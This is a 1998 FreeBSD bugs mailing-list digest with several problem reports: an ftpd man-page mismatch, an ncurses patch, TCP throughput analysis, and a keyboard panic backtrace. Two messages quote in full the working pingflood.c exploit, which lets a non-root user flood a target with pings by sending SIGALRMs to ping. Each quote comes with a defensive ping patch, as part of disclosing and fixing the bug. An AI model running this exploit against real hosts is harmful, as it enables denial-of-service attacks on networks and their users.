FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/6647: ftpd: man page at variance with code (e.g., -a flag) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6647 >Category: bin >Synopsis: ftpd: man page at variance with code (e.g., -a flag) >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: doc-bug >Submitter-Id: current-users >Arrival-Date: Fri May 15 13:10:00 PDT 1998 >Last-Modified: >Originator: David Wolfskill >Organization: Whistle Communications >Release: FreeBSD 2.2.6-RELEASE i386 >Environment: Vanilla FreeBSD 2.2.6, at least. >Description: Man page for ftpd documents a "-a" flag (no argument required: SYNOPSIS ftpd [ -d ] [ -l ] [ -ttimeout ] [ -Tmaxtimeout ] [ -a ] [ -A ] [ -L ] [ -i ] [ -I ] [ -o ] [ -O ] ... If the -a option is specified, the use of the ftpaccess(5) configuration file is enabled. ... The code, however, differs (see below for a demonstration): bind_address.s_addr = htonl(INADDR_ANY); while ((ch = getopt(argc, argv, "AdlDSURt:T:u:va:p:")) != -1) { switch (ch) { ... case 'a': if (!inet_aton(optarg, &bind_address)) errx(1, "invalid address for -a"); break; ... >How-To-Repeat: pau-amma[7]% /usr/libexec/ftpd -a ftpd: option requires an argument -- a ftpd: unknown flag -a ignored pau-amma[8]% >Fix: Make appropriate changes to cause the code and the man page to be self-consistent. In the mean time, avoiding the -a flag seems prudent. >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri May 15 13:43:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA00774 for freebsd-bugs-outgoing; Fri, 15 May 1998 13:43:57 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA00766 for ; Fri, 15 May 1998 13:43:56 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id NAA12402; Fri, 15 May 1998 13:40:01 -0700 (PDT) Received: from gw.jmrodgers.com (gw.jmrodgers.com [205.247.224.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA29955 for ; Fri, 15 May 1998 13:38:53 -0700 (PDT) (envelope-from max@gw.jmrodgers.com) Received: (from max@localhost) by gw.jmrodgers.com (8.8.8/8.8.8) id QAA13142; Fri, 15 May 1998 16:38:01 -0400 (EDT) (envelope-from max) Message-Id: <199805152038.QAA13142@gw.jmrodgers.com> Date: Fri, 15 May 1998 16:38:01 -0400 (EDT) From: Max Euston Reply-To: Max Euston To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/6648: [Patch] Can get NULL pointer in vidattr (ncurses) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6648 >Category: bin >Synopsis: [Patch] Can get NULL pointer in vidattr (ncurses) >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri May 15 13:40:01 PDT 1998 >Last-Modified: >Originator: Max Euston >Organization: >Release: FreeBSD 2.2.5-STABLE i386 >Environment: -STABLE (and -CURRENT) (since revision 1.3) >Description: Low level use of 'vidattr()' can cause a NULL pointer to be dereferenced. This is because 'SP' is only initialized via 'newterm()' (which is not required if you are going to interact with the 'terminfo' database without using 'ncurses'). >How-To-Repeat: main() { setupterm(...); vidputs(...); /* This will SIGSEGV */ } >Fix: diff -u /usr/src/lib/libncurses/lib_vidattr.c ./lib_vidattr.c --- /usr/src/lib/libncurses/lib_vidattr.c Tue Sep 2 15:10:19 1997 +++ ./lib_vidattr.c Fri May 15 14:16:42 1998 @@ -71,13 +71,14 @@ } } -#define previous_attr SP->_current_attr - int vidputs(chtype newmode, int (*outc)(int)) { -chtype turn_off = (~newmode & previous_attr) & ~A_COLOR; -chtype turn_on = (newmode & ~previous_attr) & ~A_COLOR; -int pair, current_pair; +static chtype previous_attr=0; +chtype turn_off,turn_on; +int pair, current_pair; + + if (SP) + previous_attr = SP->_current_attr; T(("vidputs(%x) called %s", newmode, _traceattr(newmode))); T(("previous attribute was %s", _traceattr(previous_attr))); @@ -85,6 +86,9 @@ if (newmode == previous_attr) return OK; + turn_off = (~newmode & previous_attr) & ~A_COLOR; + turn_on = (newmode & ~previous_attr) & ~A_COLOR; + pair = PAIR_NUMBER(newmode); current_pair = PAIR_NUMBER(previous_attr); @@ -184,6 +188,8 @@ } previous_attr = newmode; + if (SP) + SP->_current_attr = previous_attr; T(("vidputs finished")); return OK; >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri May 15 14:41:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA10334 for freebsd-bugs-outgoing; Fri, 15 May 1998 14:41:20 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA10250; Fri, 15 May 1998 14:41:05 -0700 (PDT) (envelope-from ache@FreeBSD.org) From: "Andrey A. Chernov" Received: (from ache@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id OAA12989; Fri, 15 May 1998 14:37:08 -0700 (PDT) Date: Fri, 15 May 1998 14:37:08 -0700 (PDT) Message-Id: <199805152137.OAA12989@freefall.freebsd.org> To: meuston@jmrodgers.com, ache@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/6648 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: [Patch] Can get NULL pointer in vidattr (ncurses) State-Changed-From-To: open-closed State-Changed-By: ache State-Changed-When: Fri May 15 14:36:13 PDT 1998 State-Changed-Why: Thanx, fixed. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri May 15 15:23:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA14766 for freebsd-bugs-outgoing; Fri, 15 May 1998 15:23:57 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA14761 for ; Fri, 15 May 1998 15:23:56 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id PAA13166; Fri, 15 May 1998 15:20:01 -0700 (PDT) Date: Fri, 15 May 1998 15:20:01 -0700 (PDT) Message-Id: <199805152220.PAA13166@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Bill Fenner Subject: Re: bin/6646: dump(8) using remote tape drive is too slow Reply-To: Bill Fenner Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/6646; it has been noted by GNATS. From: Bill Fenner To: wataru-s@mfeed.ad.jp Cc: freebsd-gnats-submit@freebsd.org Subject: Re: bin/6646: dump(8) using remote tape drive is too slow Date: Fri, 15 May 1998 15:19:37 PDT Can you do a tcpdump of the slow dump and the fast dump? (Use tcpdump -s 100 to make sure you capture the whole TCP header). All that TCP_MAXSEG can do is reduce the TCP segment size, which normally should only have a detrimental effect on throughput. Bill To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri May 15 16:23:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA22273 for freebsd-bugs-outgoing; Fri, 15 May 1998 16:23:57 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA22265 for ; Fri, 15 May 1998 16:23:56 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id QAA14099; Fri, 15 May 1998 16:20:01 -0700 (PDT) Date: Fri, 15 May 1998 16:20:01 -0700 (PDT) Message-Id: <199805152320.QAA14099@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Bill Fenner Subject: Re: bin/6646: dump(8) using remote tape drive is too slow Reply-To: Bill Fenner Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/6646; it has been noted by GNATS. From: Bill Fenner To: wataru-s@mfeed.ad.jp Cc: freebsd-gnats-submit@FreeBSD.ORG Subject: Re: bin/6646: dump(8) using remote tape drive is too slow Date: Fri, 15 May 1998 16:21:02 PDT This is a TCP bug. Lowering the window size is a workaround, but someone should figure out what's really going on. It's clearly delayed ACK's that is causing the poor throughput with the session with the higher MSS; the sender sends 7 packets, the receiver acks 6 and the sender doesn't send any more so the receiver acks the 7th after 200ms; then the sender sends another 7 packets. I haven't gone into it any deeper than that (e.g. why isn't the sender sending packets in response to each ack). Setting TCP_MAXSEG to 1024 is an OK workaround for now, but we need to figure out what's wrong with the TCP stack that it's not sending anything until the whole outstanding window is ACK'd. (It almost feels like SWS avoidance is kicking in by accident...) Bill To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri May 15 17:46:14 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA06157 for freebsd-bugs-outgoing; Fri, 15 May 1998 17:46:14 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from forbidden-donut.anet-stl.com (vmailer@forbidden-donut.anet-stl.com [209.83.128.17]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA06133; Fri, 15 May 1998 17:46:05 -0700 (PDT) (envelope-from doogie@forbidden-donut.anet-stl.com) Received: from localhost (localhost 127.0.0.1) by forbidden-donut.anet-stl.com (VMailer) via SMTP id 1C21FEF4AC; Fri, 15 May 1998 19:45:44 -0500 (CDT) Date: Fri, 15 May 1998 19:45:42 -0500 (CDT) From: Jason Young Reply-To: Jason Young To: AntireZ Cc: BUGTRAQ@NETSPACE.ORG, freebsd-security@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: pingflood.c In-Reply-To: <352CAAE8.CC902ABA@mclink.it> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org -----BEGIN PGP SIGNED MESSAGE----- This patch for FreeBSD's ping seems to defeat the SIGALRM flood exploit. I suspect it applies to all the other *BSD's as well. I have done only MINIMAL testing, so comments and other fixes are welcome. Jason Young ANET Chief Network Engineer *** ping.c Fri Mar 6 07:07:12 1998 - --- ping.c.new Fri May 15 19:40:23 1998 *************** *** 158,167 **** - --- 158,168 ---- double tsumsq = 0.0; /* sum of all times squared, for std. dev. */ volatile sig_atomic_t finish_up; /* nonzero if we've been told to finish up */ int reset_kerninfo; volatile sig_atomic_t siginfo_p; + volatile time_t lasttime; static void fill(char *, char *); static u_short in_cksum(u_short *, int); static void catcher(int sig); static void check_status(void); *************** *** 209,218 **** - --- 210,220 ---- setuid(getuid()); uid = getuid(); preload = 0; + lasttime = 0; datap = &outpack[8 + sizeof(struct timeval)]; while ((ch = getopt(argc, argv, "I:LQRT:c:adfi:l:np:qrs:v")) != -1) { switch(ch) { case 'a': *************** *** 518,540 **** static void catcher(int sig) { int waittime; struct sigaction si_sa; ! pinger(); if (!npackets || ntransmitted < npackets) (void)alarm((u_int)interval); else { - - if (nreceived) { - - waittime = 2 * tmax / 1000; - - if (!waittime) - - waittime = 1; - - } else - - waittime = MAXWAIT; - - si_sa.sa_handler = stopit; sigemptyset(&si_sa.sa_mask); si_sa.sa_flags = 0; if (sigaction(SIGALRM, &si_sa, 0) == -1) { finish_up = 1; - --- 520,551 ---- static void catcher(int sig) { int waittime; struct sigaction si_sa; + time_t timenow; ! if (nreceived) { ! waittime = 2 * tmax / 1000; ! if (!waittime) ! waittime = 1; ! } else ! waittime = MAXWAIT; ! ! /* Die if SIGALRM is caught earlier than it should have been. This ! * is usually the result of someone sending thousands of SIGALRMs ! * in an attempt to simulate a ping -f (flood). ! */ ! ! if(time((time_t *)&timenow) < lasttime + waittime) exit(0); ! lasttime = timenow; + pinger(); + if (!npackets || ntransmitted < npackets) (void)alarm((u_int)interval); else { si_sa.sa_handler = stopit; sigemptyset(&si_sa.sa_mask); si_sa.sa_flags = 0; if (sigaction(SIGALRM, &si_sa, 0) == -1) { finish_up = 1; - ----- On Thu, 9 Apr 1998, AntireZ wrote: > /* > > pingflood.c by (AntireZ) Salvatore Sanfilippo > enhanced by David Welton > I tested it only on Linux RedHat 4.1 and 5.0. > David Welton tested it on Debian GNU/Linux and OpenBSD reporting > it works. > This program is free software; you can redistribute it and/or modify > it under the terms of the GNU General Public License as published by > the Free Software Foundation; version 2 of the License. > > > ------------------------------------------------------------------------- > > pingflood.c allows non-root users to 'ping flood'. > > use it as follows: > > pingflood > > WARNING: this program is only for demonstrative use only. USE IT AT > YOUR > OWN RISK! The authors decline all responsibility for > damage caused by misuse of the program. > > *** if you use this program to cause harm to others, you are very > small, petty and pathetic. *** > > to compile: gcc -o pingflood pingflood.c > > > ------------------------------------------------------------------------- > > TECHNICAL NOTES > > When ping runs it normally sends an ICMP ECHO_REQUEST every second. > It accomplishes this using the alarm system call and waiting for a > SIGALRM > signal > from the kernel. > Pingflood simply sends a lot of SIGALRM signals to the ping process. > It can > do this because the ping process is owned by the user. > > > Salvatore Sanfilippo > > */ > > #include > > #define PING "/bin/ping" > > main( int argc, char *argv[] ) > { > int pid_ping; > > if (argc < 2) { > printf("use: %s \n", argv[0]); > exit(0); > } > > if(!(pid_ping = fork())) > execl(PING, "ping", argv[1], NULL); > > if ( pid_ping <=0 ) { > printf("pid <= 0\n"); > exit(1); > } > > sleep (1); /* give it a second to start going */ > while (1) > if ( kill(pid_ping, SIGALRM) ) > exit(1); > } > -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBNVzhuKInE6ybC66VAQHkQQL/WP9ceHcc26zk+Dl9vHh2E08V16CMWsmi wqVI7M69I9IgQ5Nl6Lz+7YOjJOIswQlM/SPispjfVFs3Y8WYB0z52OEM78Di0MDk j/G0rgShagXwOsSWpkiFEB0sQWRnpc52 =BJzp -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri May 15 17:54:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA07487 for freebsd-bugs-outgoing; Fri, 15 May 1998 17:54:02 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA07481 for ; Fri, 15 May 1998 17:53:58 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id RAA14686; Fri, 15 May 1998 17:50:01 -0700 (PDT) Received: from forbidden-donut.anet-stl.com (vmailer@forbidden-donut.anet-stl.com [209.83.128.17]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA07379 for ; Fri, 15 May 1998 17:52:47 -0700 (PDT) (envelope-from doogie@forbidden-donut.anet-stl.com) Received: by forbidden-donut.anet-stl.com (VMailer, from userid 1001) id 1C21F09824; Fri, 15 May 1998 19:52:22 -0500 (CDT) Message-Id: <19980516005222.1C21F09824@forbidden-donut.anet-stl.com> Date: Fri, 15 May 1998 19:52:22 -0500 (CDT) From: doogie@forbidden-donut.anet-stl.com Reply-To: doogie@forbidden-donut.anet-stl.com To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/6649: normal users can initiate gigantic ping floods Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6649 >Category: bin >Synopsis: normal users can initiate gigantic ping floods >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri May 15 17:50:01 PDT 1998 >Last-Modified: >Originator: Jason Young >Organization: ANET St. Louis >Release: FreeBSD 2.2.6-STABLE i386 >Environment: All *BSDs to my knowledge. >Description: A normal user can initiate a gigantic ping flood by flooding a running ping process with SIGALRMs. >How-To-Repeat: This code was posted to BugTraq. Date: Thu, 9 Apr 1998 13:03:04 +0200 From: AntireZ To: BUGTRAQ@NETSPACE.ORG Subject: pingflood.c /* pingflood.c by (AntireZ) Salvatore Sanfilippo enhanced by David Welton I tested it only on Linux RedHat 4.1 and 5.0. David Welton tested it on Debian GNU/Linux and OpenBSD reporting it works. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License. ------------------------------------------------------------------------- pingflood.c allows non-root users to 'ping flood'. use it as follows: pingflood WARNING: this program is only for demonstrative use only. USE IT AT YOUR OWN RISK! The authors decline all responsibility for damage caused by misuse of the program. *** if you use this program to cause harm to others, you are very small, petty and pathetic. *** to compile: gcc -o pingflood pingflood.c ------------------------------------------------------------------------- TECHNICAL NOTES When ping runs it normally sends an ICMP ECHO_REQUEST every second. It accomplishes this using the alarm system call and waiting for a SIGALRM signal from the kernel. Pingflood simply sends a lot of SIGALRM signals to the ping process. It can do this because the ping process is owned by the user. Salvatore Sanfilippo */ #include #define PING "/bin/ping" main( int argc, char *argv[] ) { int pid_ping; if (argc < 2) { printf("use: %s \n", argv[0]); exit(0); } if(!(pid_ping = fork())) execl(PING, "ping", argv[1], NULL); if ( pid_ping <=0 ) { printf("pid <= 0\n"); exit(1); } sleep (1); /* give it a second to start going */ while (1) if ( kill(pid_ping, SIGALRM) ) exit(1); } >Fix: My suggested patch. It's had MINIMAL TESTING ONLY. Other fixes or comments welcome. *** ping.c Fri Mar 6 07:07:12 1998 --- ping.c.new Fri May 15 19:40:23 1998 *************** *** 158,167 **** --- 158,168 ---- double tsumsq = 0.0; /* sum of all times squared, for std. dev. */ volatile sig_atomic_t finish_up; /* nonzero if we've been told to finish up */ int reset_kerninfo; volatile sig_atomic_t siginfo_p; + volatile time_t lasttime; static void fill(char *, char *); static u_short in_cksum(u_short *, int); static void catcher(int sig); static void check_status(void); *************** *** 209,218 **** --- 210,220 ---- setuid(getuid()); uid = getuid(); preload = 0; + lasttime = 0; datap = &outpack[8 + sizeof(struct timeval)]; while ((ch = getopt(argc, argv, "I:LQRT:c:adfi:l:np:qrs:v")) != -1) { switch(ch) { case 'a': *************** *** 518,540 **** static void catcher(int sig) { int waittime; struct sigaction si_sa; ! pinger(); if (!npackets || ntransmitted < npackets) (void)alarm((u_int)interval); else { - if (nreceived) { - waittime = 2 * tmax / 1000; - if (!waittime) - waittime = 1; - } else - waittime = MAXWAIT; - si_sa.sa_handler = stopit; sigemptyset(&si_sa.sa_mask); si_sa.sa_flags = 0; if (sigaction(SIGALRM, &si_sa, 0) == -1) { finish_up = 1; --- 520,551 ---- static void catcher(int sig) { int waittime; struct sigaction si_sa; + time_t timenow; ! if (nreceived) { ! waittime = 2 * tmax / 1000; ! if (!waittime) ! waittime = 1; ! } else ! waittime = MAXWAIT; ! ! /* Die if SIGALRM is caught earlier than it should have been. This ! * is usually the result of someone sending thousands of SIGALRMs ! * in an attempt to simulate a ping -f (flood). ! */ ! ! if(time((time_t *)&timenow) < lasttime + waittime) exit(0); ! lasttime = timenow; + pinger(); + if (!npackets || ntransmitted < npackets) (void)alarm((u_int)interval); else { si_sa.sa_handler = stopit; sigemptyset(&si_sa.sa_mask); si_sa.sa_flags = 0; if (sigaction(SIGALRM, &si_sa, 0) == -1) { finish_up = 1; >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri May 15 23:04:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA05971 for freebsd-bugs-outgoing; Fri, 15 May 1998 23:04:01 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA05945 for ; Fri, 15 May 1998 23:03:59 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id XAA15758; Fri, 15 May 1998 23:00:02 -0700 (PDT) Received: from lohi.clinet.fi (lohi.clinet.fi [194.100.0.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA05579 for ; Fri, 15 May 1998 22:55:19 -0700 (PDT) (envelope-from hsu@katiska.clinet.fi) Received: from katiska.clinet.fi (katiska.clinet.fi [194.100.0.4]) by lohi.clinet.fi (8.8.8/8.8.6) with ESMTP id IAA06703 for ; Sat, 16 May 1998 08:55:39 +0300 (EEST) Received: (from root@localhost) by katiska.clinet.fi (8.8.8/8.8.6) id IAA20226; Sat, 16 May 1998 08:55:17 +0300 (EEST) Message-Id: <199805160555.IAA20226@katiska.clinet.fi> Date: Sat, 16 May 1998 08:55:17 +0300 (EEST) From: Heikki Suonsivu Reply-To: hsu@clinet.fi To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/6650: Replugging PS/2 keyboard causes a panic Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6650 >Category: kern >Synopsis: Replugging PS/2 keyboard causes a panic >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri May 15 23:00:01 PDT 1998 >Last-Modified: >Originator: Heikki Suonsivu >Organization: Clinet, Espoo, Finland >Release: FreeBSD 2.2.6-STABLE i386 >Environment: Any FreeBSD 2.2-STABLE we have with PS/2 keyboard (ATX or proprietary motherboards). Kernels vary but about display/keyboard related things we do use pcvt, if that matters. >Description: When unplugging and replugging the keyboard, the system immediately panics. This is highly repeatable here. This happened only with PS/2 type keyboards before, but now we are seeing it in other types of hardware as well, so it might be that the rot is spreading. Current directory is /usr/local/src/FreeBSD/crash/ GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.16 (i386-unknown-freebsd), Copyright 1996 Free Software Foundation, Inc... IdlePTD 26d000 current pcb at 216384 panic: page fault #0 boot (howto=260) at ../../kern/kern_shutdown.c:266 (kgdb) bt #0 boot (howto=260) at ../../kern/kern_shutdown.c:266 #1 0xf0112882 in panic (fmt=0xf01d68cf "page fault") at ../../kern/kern_shutdown.c:390 #2 0xf01d7476 in trap_fatal (frame=0xf022144c) at ../../i386/i386/trap.c:770 #3 0xf01d6f64 in trap_pfault (frame=0xf022144c, usermode=0) at ../../i386/i386/trap.c:677 #4 0xf01d6c07 in trap (frame={tf_es = 16, tf_ds = 16, tf_edi = 1, tf_esi = 1, tf_ebp = -266201972, tf_isp = -266201996, tf_ebx = 0, tf_edx = -1073512390, tf_ecx = 980, tf_eax = -266407296, tf_trapno = 12, tf_err = 0, tf_eip = -266416133, tf_cs = 8, tf_eflags = 65538, tf_esp = -1, tf_ss = -266201948}) at ../../i386/i386/trap.c:324 #5 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 #6 0xf01f34ab in sgetc (noblock=1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 #7 0xf01ef2a5 in pccncheckc (dev=3072) at ../../i386/isa/pcvt/pcvt_drv.c:1244 #8 0xf01caea5 in cncheckc () at ../../i386/i386/cons.c:408 #9 0xf0200351 in wddump (dev=1) at ../../i386/isa/wd.c:1830 #10 0xf0112786 in dumpsys () at ../../kern/kern_shutdown.c:335 #11 0xf01125d2 in boot (howto=260) at ../../kern/kern_shutdown.c:267 #12 0xf0112882 in panic (fmt=0xf01d68cf "page fault") at ../../kern/kern_shutdown.c:390 #13 0xf01d7476 in trap_fatal (frame=0xf02215e0) at ../../i386/i386/trap.c:770 #14 0xf01d6f64 in trap_pfault (frame=0xf02215e0, usermode=0) at ../../i386/i386/trap.c:677 #15 0xf01d6c07 in trap (frame={tf_es = 16, tf_ds = 16, tf_edi = 1, tf_esi = 1, tf_ebp = -266201568, tf_isp = -266201592, tf_ebx = 0, tf_edx = -1073512390, tf_ecx = 980, tf_eax = -266407296, tf_trapno = 12, tf_err = 0, tf_eip = -266416133, tf_cs = 8, tf_eflags = 65538, tf_esp = -1, tf_ss = -266201544}) at ../../i386/i386/trap.c:324 #16 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 #17 0xf01f34ab in sgetc (noblock=1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 #18 0xf01ef2a5 in pccncheckc (dev=3072) at ../../i386/isa/pcvt/pcvt_drv.c:1244 #19 0xf01caea5 in cncheckc () at ../../i386/i386/cons.c:408 #20 0xf0200351 in wddump (dev=1) at ../../i386/isa/wd.c:1830 #21 0xf0112786 in dumpsys () at ../../kern/kern_shutdown.c:335 #22 0xf01125d2 in boot (howto=260) at ../../kern/kern_shutdown.c:267 #23 0xf0112882 in panic (fmt=0xf01d68cf "page fault") at ../../kern/kern_shutdown.c:390 #24 0xf01d7476 in trap_fatal (frame=0xf0221774) at ../../i386/i386/trap.c:770 #25 0xf01d6f64 in trap_pfault (frame=0xf0221774, usermode=0) at ../../i386/i386/trap.c:677 #26 0xf01d6c07 in trap (frame={tf_es = 16, tf_ds = 16, tf_edi = 1, tf_esi = 1, tf_ebp = -266201164, tf_isp = -266201188, tf_ebx = 0, tf_edx = -1073512390, tf_ecx = 980, tf_eax = -266407296, tf_trapno = 12, tf_err = 0, tf_eip = -266416133, tf_cs = 8, tf_eflags = 65538, tf_esp = -1, tf_ss = -266201140}) at ../../i386/i386/trap.c:324 #27 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 #28 0xf01f34ab in sgetc (noblock=1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 #29 0xf01ef2a5 in pccncheckc (dev=3072) at ../../i386/isa/pcvt/pcvt_drv.c:1244 #30 0xf01caea5 in cncheckc () at ../../i386/i386/cons.c:408 #31 0xf0200351 in wddump (dev=1) at ../../i386/isa/wd.c:1830 #32 0xf0112786 in dumpsys () at ../../kern/kern_shutdown.c:335 #33 0xf01125d2 in boot (howto=260) at ../../kern/kern_shutdown.c:267 #34 0xf0112882 in panic (fmt=0xf01d68cf "page fault") at ../../kern/kern_shutdown.c:390 #35 0xf01d7476 in trap_fatal (frame=0xf0221908) at ../../i386/i386/trap.c:770 #36 0xf01d6f64 in trap_pfault (frame=0xf0221908, usermode=0) at ../../i386/i386/trap.c:677 #37 0xf01d6c07 in trap (frame={tf_es = 16, tf_ds = 16, tf_edi = 1, tf_esi = 1, tf_ebp = -266200760, tf_isp = -266200784, tf_ebx = 0, tf_edx = -1073512390, tf_ecx = 980, tf_eax = -266407296, tf_trapno = 12, tf_err = 0, tf_eip = -266416133, tf_cs = 8, tf_eflags = 65538, tf_esp = -1, tf_ss = -266200736}) at ../../i386/i386/trap.c:324 #38 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 #39 0xf01f34ab in sgetc (noblock=1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 #40 0xf01ef2a5 in pccncheckc (dev=3072) at ../../i386/isa/pcvt/pcvt_drv.c:1244 #41 0xf01caea5 in cncheckc () at ../../i386/i386/cons.c:408 #42 0xf0200351 in wddump (dev=1) at ../../i386/isa/wd.c:1830 #43 0xf0112786 in dumpsys () at ../../kern/kern_shutdown.c:335 #44 0xf01125d2 in boot (howto=260) at ../../kern/kern_shutdown.c:267 #45 0xf0112882 in panic (fmt=0xf01d68cf "page fault") at ../../kern/kern_shutdown.c:390 #46 0xf01d7476 in trap_fatal (frame=0xf0221a9c) at ../../i386/i386/trap.c:770 #47 0xf01d6f64 in trap_pfault (frame=0xf0221a9c, usermode=0) at ../../i386/i386/trap.c:677 #48 0xf01d6c07 in trap (frame={tf_es = 16, tf_ds = 16, tf_edi = 1, tf_esi = 1, tf_ebp = -266200356, tf_isp = -266200380, tf_ebx = 0, tf_edx = -1073512390, tf_ecx = 980, tf_eax = -266407296, tf_trapno = 12, tf_err = 0, tf_eip = -266416133, tf_cs = 8, tf_eflags = 65538, tf_esp = -1, tf_ss = -266200332}) at ../../i386/i386/trap.c:324 #49 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 #50 0xf01f34ab in sgetc (noblock=1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 #51 0xf01ef2a5 